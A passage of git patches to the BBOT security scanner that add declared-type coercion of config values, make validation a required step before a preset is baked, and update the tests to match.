dotted_path.split(".") - for i, part in enumerate(parts): - field = _resolve_field(current, part) - if field is None: - return None - if i == len(parts) - 1: - return field.annotation - sub = _field_submodel(field) - if sub is None: - return None - current = sub - return None + is_raw = isinstance(value, str) + if not accepted: + return _yaml_scalar(value) if is_raw else value + if "str" in accepted and not (accepted & _COLLECTION_NAMES): + if is_raw: + return value + return None if value is None else str(value) + if accepted == frozenset({"bool"}): + v = _yaml_scalar(value) if is_raw else value + if isinstance(v, bool): + return v + if isinstance(v, (int, float)): + return bool(v) + if isinstance(v, str): + low = v.strip().lower() + if low in _TRUE_WORDS: + return True + if low in _FALSE_WORDS: + return False + return v + return _yaml_scalar(value) if is_raw else value + + +def coerce_config(config, index, prefix=""): + """Walk a config dict and coerce each leaf toward its declared type.""" + out = {} + for k, v in config.items(): + dotted = f"{prefix}.{k}" if prefix else k + if isinstance(v, dict): + out[k] = coerce_config(v, index, dotted) + else: + out[k] = coerce_value(v, index.get(dotted)) + return out def partition_sensitive_config(config, model, *, keep_sensitive: bool): @@ -459,6 +539,7 @@ class PresetSchema(BaseModel): __all__ = [ "BBOTConfig", "BaseModuleConfig", + "ConfidenceLiteral", "DepsConfig", "DepsToolConfig", "DnsConfig", @@ -466,13 +547,14 @@ class PresetSchema(BaseModel): "Field", "PresetSchema", "ScopeConfig", + "SeverityLiteral", "WebConfig", + "accepted_types_from_annotation", + "accepted_types_from_string", + "coerce_config", + "coerce_value", "field_flags", "is_mandatory", "is_sensitive", "partition_sensitive_config", - "ConfidenceLiteral", - "SeverityLiteral", - "pure_string_field", - "resolve_field_annotation", ] diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 17982ab301..3838913352 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -36,7 +36,7 @@ # Bump when the preloader's output schema or validation rules change. Folded # into the per-module cache_key so stale entries from older bbot versions get # rebuilt instead of silently bypassing new checks. -PRELOAD_CACHE_VERSION = 2 +PRELOAD_CACHE_VERSION = 3 _UNEVALUATED = object() @@ -184,13 +184,15 @@ def _build_validation_schema(preloaded: dict): return FullPresetSchema -def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, set, set]: +def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, set, set, dict]: """ Walk a `class Config(BaseModuleConfig):` block and extract - `(defaults, descriptions, sensitive, mandatory)` — cheap metadata used - for `bbot -l` and similar listing paths, without importing or exec-ing - anything. + `(defaults, descriptions, sensitive, mandatory, types)` -- cheap metadata + used for `bbot -l`, type-directed config coercion, and similar listing + paths, without importing or exec-ing anything. + `types` maps each field name to its raw annotation string (e.g. + `"bool"`, `"Union[str, list[str]]"`, `"Literal['manual', 'severe']"`). The actual typed pydantic class is built later via `_exec_config_class` on the captured source text. """ @@ -198,14 +200,16 @@ def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, se descriptions: dict = {} sensitive: set = set() mandatory: set = set() + types: dict = {} for node in config_class.body: - # `model_config = ConfigDict(...)` etc. are plain assigns, not typed — skip. + # `model_config = ConfigDict(...)` etc. are plain assigns, not typed -- skip. if not isinstance(node, ast.AnnAssign) or not isinstance(node.target, ast.Name): continue name = node.target.id if name.startswith("_"): continue + types[name] = ast.unparse(node.annotation) default = _UNEVALUATED description = "" is_sensitive = False @@ -249,7 +253,7 @@ def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, se sensitive.add(name) if is_mandatory: mandatory.add(name) - return defaults, descriptions, sensitive, mandatory + return defaults, descriptions, sensitive, mandatory, types class ModuleLoader: @@ -285,6 +289,7 @@ def __init__(self): # Composite preset-validation schema, built from preloaded modules. # Invalidated whenever a new module is preloaded. self._validation_schema = None + self._config_type_index = None self._module_dirs = set() self._module_dirs_preloaded = set() @@ -434,6 +439,7 @@ def preload(self, module_dirs=None): # on next access now that the set of modules has changed if new_modules: self._validation_schema = None + self._config_type_index = None return new_modules @@ -515,6 +521,46 @@ def config_schema(self): return BBOTConfig return _unwrap_optional(field.annotation) + @property + def config_type_index(self): + """{dotted_config_path: frozenset(base_type_names)} for every known option. + + Global keys come from the static BBOTConfig tree; per-module keys from + the preloaded AST annotation strings. No module Config is exec'd. + """ + if self._config_type_index is None: + from bbot.core.config.models import ( + BBOTConfig, + BaseModuleConfig, + accepted_types_from_annotation, + accepted_types_from_string, + _field_submodel, + ) + + index = {} + + def walk_static(model, prefix=""): + for fname, field in model.model_fields.items(): + for key in {fname, getattr(field, "alias", None)} - {None}: + dotted = f"{prefix}.{key}" if prefix else key + sub = _field_submodel(field) + if sub is not None and fname != "modules": + walk_static(sub, dotted) + else: + index[dotted] = accepted_types_from_annotation(field.annotation) + + walk_static(BBOTConfig) + + universal = {n: f.annotation for n, f in BaseModuleConfig.model_fields.items()} + for name, data in self._preloaded.items(): + for field, ann_str in data.get("options_types", {}).items(): + index[f"modules.{name}.{field}"] = accepted_types_from_string(ann_str) + for field, ann in universal.items(): + index.setdefault(f"modules.{name}.{field}", accepted_types_from_annotation(ann)) + + self._config_type_index = index + return self._config_type_index + def find_and_replace(self, **kwargs): self.__preloaded = search_format_dict(self.__preloaded, **kwargs) self._shared_deps = search_format_dict(self._shared_deps, **kwargs) @@ -585,6 +631,7 @@ def preload_module(self, module_file): options_desc = {} options_sensitive: set = set() options_mandatory: set = set() + options_types: dict = {} config_source: str | None = None legacy_options_keyword: str | None = None legacy_options_line: int | None = None @@ -616,11 +663,14 @@ def preload_module(self, module_file): for class_attr in root_element.body: # nested `class Config(BaseModuleConfig): ...` — the module's config schema if type(class_attr) == ast.ClassDef and class_attr.name == "Config": - config_fields, config_descs, config_sens, config_mand = _extract_pydantic_config(class_attr) + config_fields, config_descs, config_sens, config_mand, config_types = _extract_pydantic_config( + class_attr + ) config.update(config_fields) options_desc.update(config_descs) options_sensitive.update(config_sens) options_mandatory.update(config_mand) + options_types.update(config_types) # capture the class source verbatim; schema build re-execs it config_source = ast.get_source_segment(python_code, class_attr) continue @@ -745,6 +795,7 @@ def preload_module(self, module_file): "options_desc": options_desc, "options_sensitive": sorted(options_sensitive), "options_mandatory": sorted(options_mandatory), + "options_types": options_types, "config_source": config_source, "hash": module_hash, "deps": { @@ -910,9 +961,10 @@ def modules_options(self, modules=None, mod_type=None): modules_options[module_name] = [] module_options = preloaded["config"] module_options_desc = preloaded["options_desc"] + module_options_types = preloaded.get("options_types", {}) for k, v in sorted(module_options.items(), key=lambda x: x[0]): option_name = f"modules.{module_name}.{k}" - option_type = type(v).__name__ + option_type = module_options_types.get(k, type(v).__name__) option_description = module_options_desc[k] modules_options[module_name].append((option_name, option_type, option_description, str(v))) return modules_options diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 77c35d8f8f..86565ade7a 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -1,56 +1,33 @@ import os -import yaml import logging import argparse -import datetime from bbot.errors import * from bbot.core.config.merge import dotted_set -from bbot.core.config.models import pure_string_field, resolve_field_annotation +from bbot.core.config.models import coerce_value from bbot.core.helpers.misc import chain_lists -def _parse_cli_value(raw: str, annotation=None): - """ - Parse the RHS of a `-c a.b.c=value` argument. - - If `annotation` (the target field's declared type) is a pure-string field, the - user's literal text IS the value -- skip YAML coercion so "12345678" / "true" / - "0755" stay strings (lossless) instead of being coerced to int/bool and rejected - by the str type. +def _parse_cli_value(raw: str, accepted=None): + """Parse the RHS of a `-c a.b.c=value` argument. - Otherwise YAML safe_load handles `true`/`false`/`null`/ints/floats/lists the way - users expect for `web.spider_distance=2`. An empty RHS (`-c key=`) is an empty - string. Date-shaped values are kept as the literal string (no field is typed - `date`), since YAML would resolve them to a date object. + `accepted` is the frozenset of base type-names for the target field (from the + config type index), or None when the field is unknown. Coercion follows the + declared type: string fields keep the literal text (lossless), bool fields + produce a real bool, int/float fields use YAML, and unknown fields fall back to + plain YAML coercion. """ if raw == "": return "" - if annotation is not None and pure_string_field(annotation): - return raw - try: - value = yaml.safe_load(raw) - except yaml.YAMLError: - return raw - if isinstance(value, (datetime.date, datetime.time)): - return raw - return value - - -def parse_dotted_cli(entries, schema=None): - """ - Parse one or more `a.b.c=value` strings into a nested dict. - - If `schema` (the composite config model, i.e. `MODULE_LOADER.config_schema`) is - provided, each value is parsed type-aware against its target field, so a - pure-string field keeps the literal text rather than YAML-coercing it. Without a - schema, parsing falls back to plain YAML coercion. - - Examples: - >>> parse_dotted_cli(["modules.shodan.api_key=1234"]) - {'modules': {'shodan': {'api_key': 1234}}} - >>> parse_dotted_cli(["web.spider_distance=2"]) - {'web': {'spider_distance': 2}} + return coerce_value(raw, accepted) + + +def parse_dotted_cli(entries, index=None): + """Parse one or more `a.b.c=value` strings into a nested dict. + + If `index` (the config type index from `MODULE_LOADER.config_type_index`) is + provided, each value is coerced toward its declared type so string fields keep + their literal text and typed fields get real typed values. """ result: dict = {} for entry in entries: @@ -60,8 +37,8 @@ def parse_dotted_cli(entries, schema=None): path = path.strip() if not path: raise ValueError(f'Empty key in "{entry}"') - annotation = resolve_field_annotation(schema, path) if schema is not None else None - dotted_set(result, path, _parse_cli_value(raw.strip(), annotation)) + accepted = index.get(path) if index is not None else None + dotted_set(result, path, _parse_cli_value(raw.strip(), accepted)) return result @@ -246,12 +223,12 @@ def preset_from_args(self): if self.parsed.user_agent_suffix: args_preset.core.merge_custom({"web": {"user_agent_suffix": self.parsed.user_agent_suffix}}) - # CLI config options (dot-syntax) — parsed type-aware so pure-string fields + # CLI config options (dot-syntax) -- parsed type-aware so string fields # keep their literal value (e.g. an all-numeric password isn't coerced to int) - schema = self._config_schema() + index = self._config_type_index() for config_arg in self.parsed.config: try: - args_preset.core.merge_custom(parse_dotted_cli([config_arg], schema=schema)) + args_preset.core.merge_custom(parse_dotted_cli([config_arg], index=index)) except Exception as e: raise BBOTArgumentError(f'Error parsing command-line config option: "{config_arg}": {e}') @@ -514,11 +491,11 @@ def sanitize_args(self): if self.parsed.fast_mode: self.parsed.preset += ["fast"] - def _config_schema(self): - """Composite config schema for type-aware CLI parsing, or None if it can't + def _config_type_index(self): + """Config type index for type-directed CLI parsing, or None if it can't be built yet (then parsing falls back to plain YAML coercion).""" try: - return self.preset.module_loader.config_schema + return self.preset.module_loader.config_type_index except Exception: return None @@ -532,7 +509,7 @@ def validate(self): if not self.parsed.config: return - cli_dict = parse_dotted_cli(self.parsed.config, schema=self._config_schema()) + cli_dict = parse_dotted_cli(self.parsed.config, index=self._config_type_index()) errs = validate_preset({"config": cli_dict}, module_loader=self.preset.module_loader) if errs: raise ValidationError("\n".join(str(e) for e in errs)) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index eb749e9e0b..55dbecdab0 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -432,6 +432,17 @@ def bake(self, scan=None): # validate log level options baked_preset.apply_log_level(apply_core=scan is not None) + # coerce config values toward their declared types so the runtime gets + # real typed values (bool fields hold True/False, not int 1; str fields + # hold strings, not YAML-parsed ints from a config file) + from bbot.core.config.models import coerce_config + + try: + index = baked_preset.module_loader.config_type_index + baked_preset.core.custom_config = coerce_config(baked_preset.core.custom_config, index) + except Exception: + pass + # validate flags, config options baked_preset.validate() diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index 0f2745c8e9..ba4a02a79c 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -28,7 +28,7 @@ from bbot.errors import BBOTError from bbot.core.config.models import PresetSchema -from bbot.core.helpers.misc import get_closest_match, get_keys_in_dot_syntax +from bbot.core.helpers.misc import get_closest_match def _preset_top_level_keys() -> set[str]: @@ -232,9 +232,9 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati ) known_modules = set(module_loader.all_module_choices) - # Universe of valid dotted config paths, used for "did you mean ...?" - # suggestions on unknown global-config keys. - known_paths = set(get_keys_in_dot_syntax(module_loader.core.default_config)) + # The type index is the single source of truth for known dotted config + # paths -- both for coercion AND for "did you mean ...?" suggestions. + known_paths = set(module_loader.config_type_index) # Validate against the composite schema (rebuilt automatically if new # module_dirs were just preloaded above). Closest-match suggestions diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c142237951..af04192ab2 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -518,16 +518,16 @@ def test_parse_cli_value_keeps_date_shaped_strings(): def test_parse_dotted_cli_type_aware_string_fields(): - """Pure-string fields keep the literal CLI text (lossless) so an all-numeric or + """String fields keep the literal CLI text (lossless) so an all-numeric or boolean-looking value isn't coerced to int/bool and rejected by the str type.""" from bbot.scanner.preset.args import parse_dotted_cli from bbot.scanner import validate_preset from bbot.core.modules import MODULE_LOADER MODULE_LOADER.preload() - schema = MODULE_LOADER.config_schema + index = MODULE_LOADER.config_type_index for raw, expect in [("12345678", "12345678"), ("true", "true"), ("0755", "0755")]: - d = parse_dotted_cli([f"modules.postgres.password={raw}"], schema=schema) + d = parse_dotted_cli([f"modules.postgres.password={raw}"], index=index) assert d["modules"]["postgres"]["password"] == expect assert validate_preset({"config": d}) == [] @@ -539,15 +539,30 @@ def test_parse_dotted_cli_type_aware_preserves_scalars(): from bbot.core.modules import MODULE_LOADER MODULE_LOADER.preload() - schema = MODULE_LOADER.config_schema - assert parse_dotted_cli(["web.http_timeout=20"], schema=schema)["web"]["http_timeout"] == 20 - assert parse_dotted_cli(["scope.strict=true"], schema=schema)["scope"]["strict"] is True - wl = parse_dotted_cli(["modules.dnsbrute.wordlist=[a,b]"], schema=schema)["modules"]["dnsbrute"]["wordlist"] + index = MODULE_LOADER.config_type_index + assert parse_dotted_cli(["web.http_timeout=20"], index=index)["web"]["http_timeout"] == 20 + assert parse_dotted_cli(["scope.strict=true"], index=index)["scope"]["strict"] is True + wl = parse_dotted_cli(["modules.dnsbrute.wordlist=[a,b]"], index=index)["modules"]["dnsbrute"]["wordlist"] assert wl == ["a", "b"] - bare = parse_dotted_cli(["modules.dnsbrute.wordlist=foo"], schema=schema)["modules"]["dnsbrute"]["wordlist"] + bare = parse_dotted_cli(["modules.dnsbrute.wordlist=foo"], index=index)["modules"]["dnsbrute"]["wordlist"] assert bare == "foo" +def test_parse_dotted_cli_type_aware_bool_fields(): + """Bool fields produce real bool values, not ints or strings.""" + from bbot.scanner.preset.args import parse_dotted_cli + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + index = MODULE_LOADER.config_type_index + d = parse_dotted_cli(["modules.lightfuzz.force_common_headers=1"], index=index) + assert d["modules"]["lightfuzz"]["force_common_headers"] is True + d = parse_dotted_cli(["scope.strict=yes"], index=index) + assert d["scope"]["strict"] is True + d = parse_dotted_cli(["scope.strict=false"], index=index) + assert d["scope"]["strict"] is False + + def test_type_aware_parsing_still_flags_unknown_key(): """Type-awareness must not hide a typo: an unknown key falls back to YAML parse and is still rejected by validation.""" @@ -556,10 +571,32 @@ def test_type_aware_parsing_still_flags_unknown_key(): from bbot.core.modules import MODULE_LOADER MODULE_LOADER.preload() - d = parse_dotted_cli(["web.bogus=5"], schema=MODULE_LOADER.config_schema) + d = parse_dotted_cli(["web.bogus=5"], index=MODULE_LOADER.config_type_index) assert validate_preset({"config": d}) # non-empty: unknown key flagged +def test_coerce_config_file_values(): + """coerce_config fixes YAML-parsed values from config files: numeric passwords + become strings, integer 1 on a bool field becomes True, etc.""" + from bbot.core.config.models import coerce_config + from bbot.core.modules import MODULE_LOADER + + MODULE_LOADER.preload() + index = MODULE_LOADER.config_type_index + cfg = { + "web": {"http_timeout": 30}, + "modules": { + "postgres": {"password": 12345678, "port": 5432}, + "lightfuzz": {"force_common_headers": 1}, + }, + } + result = coerce_config(cfg, index) + assert result["modules"]["postgres"]["password"] == "12345678" + assert result["modules"]["postgres"]["port"] == 5432 + assert result["modules"]["lightfuzz"]["force_common_headers"] is True + assert result["web"]["http_timeout"] == 30 + + def test_cli_module_validation(monkeypatch, caplog): monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) From 143556b2686e27e1dcf4cf2f2b2604f1ddcc6a4e Mon Sep 17 00:00:00 2001 From: Austin Stark <14080242+ausmaster@users.noreply.github.com> Date: Thu, 4 Jun 2026 17:20:09 -0700 Subject: [PATCH 732/912] Make validation+coercion a precondition for bake() (inversion) Previously bake() coerced config and called validate() itself, and from_dict validated the raw dict up front -- so coercion (a 'bake step') effectively ran before bake(), and the programmatic/bbot.yml entry points were never validated. Invert it: - Preset.validate() is now the precondition: coerces custom_config toward its declared types AND validates it, sets self._validated, returns self. - bake() ENFORCES it: raises if the preset isn't validated (it no longer coerces or validates itself). - merge() / mutations reset _validated, so a changed preset must be revalidated. - Scanner.__init__, the CLI, and from_dict call validate() before baking. Side effects: - config is now validated on every entry point (programmatic Preset(config=)/ Scanner(config=), bbot.yml, presets, CLI), closing the validation-asymmetry gap. - surfaced a missing internal-module toggle: 'unarchive' was absent from BBOTConfig (so 'bbot -c unarchive=false' was rejected); added it. Co-Authored-By: Claude Opus 4.8 --- bbot/cli.py | 2 ++ bbot/core/config/models.py | 1 + bbot/scanner/preset/preset.py | 61 ++++++++++++++++++++++++++--------- bbot/scanner/scanner.py | 2 ++ 4 files changed, 51 insertions(+), 15 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index f27bd48e7c..2ebe9046e3 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -102,6 +102,7 @@ async def _main(): preset._default_internal_modules = [] # Bake a temporary copy of the preset so that flags correctly enable their associated modules before listing them + preset.validate() preset = preset.bake() # --list-modules @@ -156,6 +157,7 @@ async def _main(): print(row) return + preset.validate() baked_preset = preset.bake() # --current-preset / --current-preset-full diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index c45434cb11..c95f88e534 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -462,6 +462,7 @@ class BBOTConfig(BaseModel): aggregate: Optional[bool] = None dnsresolve: Optional[bool] = None cloudcheck: Optional[bool] = None + unarchive: Optional[bool] = None # URL handling url_querystring_remove: Optional[bool] = None diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 55dbecdab0..d118a11b21 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -177,6 +177,8 @@ def __init__( self._module_loader = None self._yaml_str = "" self._baked = False + # whether this preset has been validated+coerced (a precondition for bake()) + self._validated = False self._default_output_modules = None self._default_internal_modules = None @@ -396,6 +398,8 @@ def merge(self, other): # transfer args if other._args is not None: self._args = other._args + # the preset changed -- it must be re-validated before baking + self._validated = False def bake(self, scan=None): """ @@ -429,23 +433,18 @@ def bake(self, scan=None): os.environ.clear() os.environ.update(os_environ) + # bake() requires an already validated + coerced preset. Validation and + # coercion are a PRECONDITION (Preset.validate(), the caller's + # responsibility) -- enforced here so an unvalidated preset never bakes. + if not self._validated: + raise ValidationError( + "Preset must be validated before baking -- call .validate() first " + "(Scanner and the CLI do this for you)." + ) + # validate log level options baked_preset.apply_log_level(apply_core=scan is not None) - # coerce config values toward their declared types so the runtime gets - # real typed values (bool fields hold True/False, not int 1; str fields - # hold strings, not YAML-parsed ints from a config file) - from bbot.core.config.models import coerce_config - - try: - index = baked_preset.module_loader.config_type_index - baked_preset.core.custom_config = coerce_config(baked_preset.core.custom_config, index) - except Exception: - pass - - # validate flags, config options - baked_preset.validate() - # now that our requirements / exclusions are validated, we can start enabling modules # enable scan modules for module in baked_preset.explicit_scan_modules: @@ -757,6 +756,9 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): _exclude=_exclude, _log=_log, ) + # validate+coerce so the returned preset is bake-ready (callers that + # mutate it afterward will need to .validate() again before baking) + new_preset.validate() return new_preset def include_preset(self, filename): @@ -981,8 +983,34 @@ def _is_valid_module(self, module, module_type, name_only=False, raise_error=Tru def validate(self): """ - Validate module/flag exclusions/requirements, and CLI config options if applicable. + Coerce config values to their declared types and validate the preset. + + This is a PRECONDITION for bake() (which enforces it): a preset must be + validated before it can be baked. Idempotent -- safe to call more than + once. Sets ``self._validated = True`` on success and returns ``self`` so + it can be chained (e.g. ``preset.validate().bake()``). """ + from bbot.core.config.models import coerce_config + + # Coerce config values toward their declared types (this is the single + # coercion point, lifted out of bake()): the runtime gets real typed + # values, and type-coercible values (e.g. an all-numeric password) pass + # validation cleanly instead of being rejected. + try: + index = self.module_loader.config_type_index + self.core.custom_config = coerce_config(self.core.custom_config, index) + except Exception: + pass + + # Validate the (coerced) user config against the schema. This covers + # every entry point (programmatic Preset(config=)/Scanner(config=), + # bbot.yml/secrets.yml, presets, CLI) -- not just from_dict / CLI args. + from .validate import validate_preset + + errs = validate_preset({"config": dict(self.core.custom_config)}, module_loader=self.module_loader) + if errs: + raise ValidationError("\n".join(str(e) for e in errs)) + if self._cli: self.args.validate() @@ -1005,6 +1033,9 @@ def validate(self): if flag not in self.module_loader.flag_choices: raise ValidationError(get_closest_match(flag, self.module_loader.flag_choices, msg="flag")) + self._validated = True + return self + @property def all_presets(self): """ diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 7d8306f7a7..5c8c677c89 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -151,6 +151,8 @@ def __init__( raise ValidationError(f'Preset must be of type Preset, not "{type(custom_preset).__name__}"') base_preset.merge(custom_preset) + # validation+coercion is a precondition for baking; Scanner does it for the caller + base_preset.validate() self.preset = base_preset.bake(self) self._prepped = False From a41da70935128cac8328f1275a7fe113572fc930 Mon Sep 17 00:00:00 2001 From: Austin Stark <14080242+ausmaster@users.noreply.github.com> Date: Thu, 4 Jun 2026 17:20:15 -0700 Subject: [PATCH 733/912] Migrate tests to the validate-before-bake contract - Direct preset.bake() -> preset.validate().bake() (validate() returns self); bake() now requires a validated preset. - test_config: the programmatic path is now strictly validated, so the old sentinel keys ('plumbus', module 'test_option') are correctly rejected as typos; rewritten to verify config propagation with real keys (status_frequency, ipneighbor.num_bits, module_timeout). Co-Authored-By: Claude Opus 4.8 --- bbot/test/test_step_1/test_config.py | 18 ++-- bbot/test/test_step_1/test_preset_seeds.py | 4 +- bbot/test/test_step_1/test_presets.py | 106 ++++++++++----------- bbot/test/test_step_1/test_scan.py | 2 +- 4 files changed, 66 insertions(+), 64 deletions(-) diff --git a/bbot/test/test_step_1/test_config.py b/bbot/test/test_step_1/test_config.py index 6454a8f599..16a697c509 100644 --- a/bbot/test/test_step_1/test_config.py +++ b/bbot/test/test_step_1/test_config.py @@ -3,21 +3,23 @@ @pytest.mark.asyncio async def test_config(bbot_scanner): + # config is now strictly validated, so propagation is tested with REAL keys + # (the old sentinel keys "plumbus" / "test_option" are rejected as typos). config = { - "plumbus": "asdf", + "status_frequency": 5, "speculate": True, "modules": { - "ipneighbor": {"test_option": "ipneighbor"}, - "python": {"test_option": "asdf"}, - "speculate": {"test_option": "speculate"}, + "ipneighbor": {"num_bits": 8}, + "python": {"module_timeout": 60}, + "speculate": {"module_timeout": 60}, }, } scan1 = bbot_scanner("127.0.0.1", modules=["ipneighbor"], config=config) await scan1._prep() assert scan1.config["web"]["user_agent"] == "BBOT Test User-Agent" - assert scan1.config["plumbus"] == "asdf" - assert scan1.modules["ipneighbor"].config["test_option"] == "ipneighbor" - assert scan1.modules["python"].config["test_option"] == "asdf" - assert scan1.modules["speculate"].config["test_option"] == "speculate" + assert scan1.config["status_frequency"] == 5 + assert scan1.modules["ipneighbor"].config["num_bits"] == 8 + assert scan1.modules["python"].config["module_timeout"] == 60 + assert scan1.modules["speculate"].config["module_timeout"] == 60 await scan1._cleanup() diff --git a/bbot/test/test_step_1/test_preset_seeds.py b/bbot/test/test_step_1/test_preset_seeds.py index 07d74c2d9c..3c54898046 100644 --- a/bbot/test/test_step_1/test_preset_seeds.py +++ b/bbot/test/test_step_1/test_preset_seeds.py @@ -6,7 +6,7 @@ def test_preset_target_and_seeds_default(): If no explicit seeds are provided, seeds should be copied from target. """ preset = Preset("evilcorp.com") - baked = preset.bake() + baked = preset.validate().bake() target = baked.target assert set(target.target.inputs) == {"evilcorp.com"} @@ -18,7 +18,7 @@ def test_preset_target_and_seeds_explicit_seeds_override(): If explicit seeds are provided, they should NOT be copied from target. """ preset = Preset("evilcorp.com", seeds=["seedonly.evilcorp.com"]) - baked = preset.bake() + baked = preset.validate().bake() target = baked.target assert set(target.target.inputs) == {"evilcorp.com"} diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index e0b4395414..009966a5a8 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -77,7 +77,7 @@ async def test_preset_yaml(clean_default_config): silent=True, config={"keep_scans": 42}, ) - preset1 = preset1.bake() + preset1 = preset1.validate().bake() assert "evilcorp.com" in preset1.target.seeds assert "evilcorp.ce" not in preset1.target.seeds assert "asdf.www.evilcorp.ce" in preset1.target.seeds @@ -170,7 +170,7 @@ async def test_preset_scope(clean_default_config): assert {str(h) for h in scan.target.target.hosts} == {"1.2.3.4/32", "evilcorp.com"} blank_preset = Preset() - blank_preset = blank_preset.bake() + blank_preset = blank_preset.validate().bake() assert not blank_preset.target.seeds assert not blank_preset.target.target assert blank_preset.strict_scope is False @@ -181,7 +181,7 @@ async def test_preset_scope(clean_default_config): seeds=["evilcorp.com", "www.evilcorp.ce"], blacklist=["test.www.evilcorp.ce"], ) - preset1_baked = preset1.bake() + preset1_baked = preset1.validate().bake() # make sure target logic works as expected assert "evilcorp.com" in preset1_baked.target.seeds @@ -212,7 +212,7 @@ async def test_preset_scope(clean_default_config): preset1.merge(preset3) - preset1_baked = preset1.bake() + preset1_baked = preset1.validate().bake() # targets should be merged assert "evilcorp.com" in preset1_baked.target.seeds @@ -259,8 +259,8 @@ async def test_preset_scope(clean_default_config): config={"modules": {"github_workflows": {"api_key": "deadbeef", "output_folder": "asdf"}}}, ) - preset_domain_with_seed_baked = preset_domain_with_seed.bake() - preset_with_target_scope_baked = preset_with_target_scope.bake() + preset_domain_with_seed_baked = preset_domain_with_seed.validate().bake() + preset_with_target_scope_baked = preset_with_target_scope.validate().bake() # When seeds and targets are identical, only targets are serialized. domain_with_seed_dict = preset_domain_with_seed_baked.to_dict(include_target=True) @@ -308,7 +308,7 @@ async def test_preset_scope(clean_default_config): # When merging a preset that has both seeds and target with one that only has # target (no explicit seeds), explicit seeds are unioned and targets are unioned. preset_domain_with_seed.merge(preset_with_target_scope) - preset_domain_with_seed_baked = preset_domain_with_seed.bake() + preset_domain_with_seed_baked = preset_domain_with_seed.validate().bake() assert {e.data for e in preset_domain_with_seed_baked.seeds} == {"evilcorp.com", "evilcorp.org"} # After merging, target scope should include both the original domain target and the scoped network/URL assert {e.data for e in preset_domain_with_seed_baked.target.target} == { @@ -331,7 +331,7 @@ async def test_preset_scope(clean_default_config): preset_targets_only = Preset("evilcorp.com") preset_with_target_scope = Preset("1.2.3.4/24", seeds=["evilcorp.org"]) preset_with_target_scope.merge(preset_targets_only) - preset_with_target_scope_baked = preset_with_target_scope.bake() + preset_with_target_scope_baked = preset_with_target_scope.validate().bake() # Seeds stay as the explicit seeds from the base preset assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.org"} # Target scope is the union of both presets' targets. @@ -356,14 +356,14 @@ async def test_preset_scope(clean_default_config): # after bake, each has seeds backfilled from its own target, and merge unions both. preset_targets_only1 = Preset("evilcorp.com") preset_targets_only2 = Preset("evilcorp.de") - preset_targets_only1_baked = preset_targets_only1.bake() - preset_targets_only2_baked = preset_targets_only2.bake() + preset_targets_only1_baked = preset_targets_only1.validate().bake() + preset_targets_only2_baked = preset_targets_only2.validate().bake() assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com"} assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.de"} assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com"} assert {e.data for e in preset_targets_only2_baked.target.target} == {"evilcorp.de"} preset_targets_only1.merge(preset_targets_only2) - preset_targets_only1_baked = preset_targets_only1.bake() + preset_targets_only1_baked = preset_targets_only1.validate().bake() assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com", "evilcorp.de"} assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.de"} assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com", "evilcorp.de"} @@ -384,8 +384,8 @@ async def test_preset_scope(clean_default_config): preset_targets_only1 = Preset("evilcorp.com") preset_targets_only2 = Preset("evilcorp.de") preset_targets_only2.merge(preset_targets_only1) - preset_targets_only1_baked = preset_targets_only1.bake() - preset_targets_only2_baked = preset_targets_only2.bake() + preset_targets_only1_baked = preset_targets_only1.validate().bake() + preset_targets_only2_baked = preset_targets_only2.validate().bake() assert {e.data for e in preset_targets_only1_baked.seeds} == {"evilcorp.com"} assert {e.data for e in preset_targets_only2_baked.seeds} == {"evilcorp.com", "evilcorp.de"} assert {e.data for e in preset_targets_only1_baked.target.target} == {"evilcorp.com"} @@ -423,12 +423,12 @@ async def test_preset_logging(): assert silent_and_verbose.silent is True assert silent_and_verbose.debug is False assert silent_and_verbose.verbose is True - baked = silent_and_verbose.bake() + baked = silent_and_verbose.validate().bake() assert baked.silent is True assert baked.debug is False assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = silent_and_verbose.bake(scan=scan) + baked = silent_and_verbose.validate().bake(scan=scan) assert baked.core.logger.log_level == logging.CRITICAL assert CORE.logger.log_level == logging.CRITICAL @@ -439,12 +439,12 @@ async def test_preset_logging(): assert silent_and_debug.silent is True 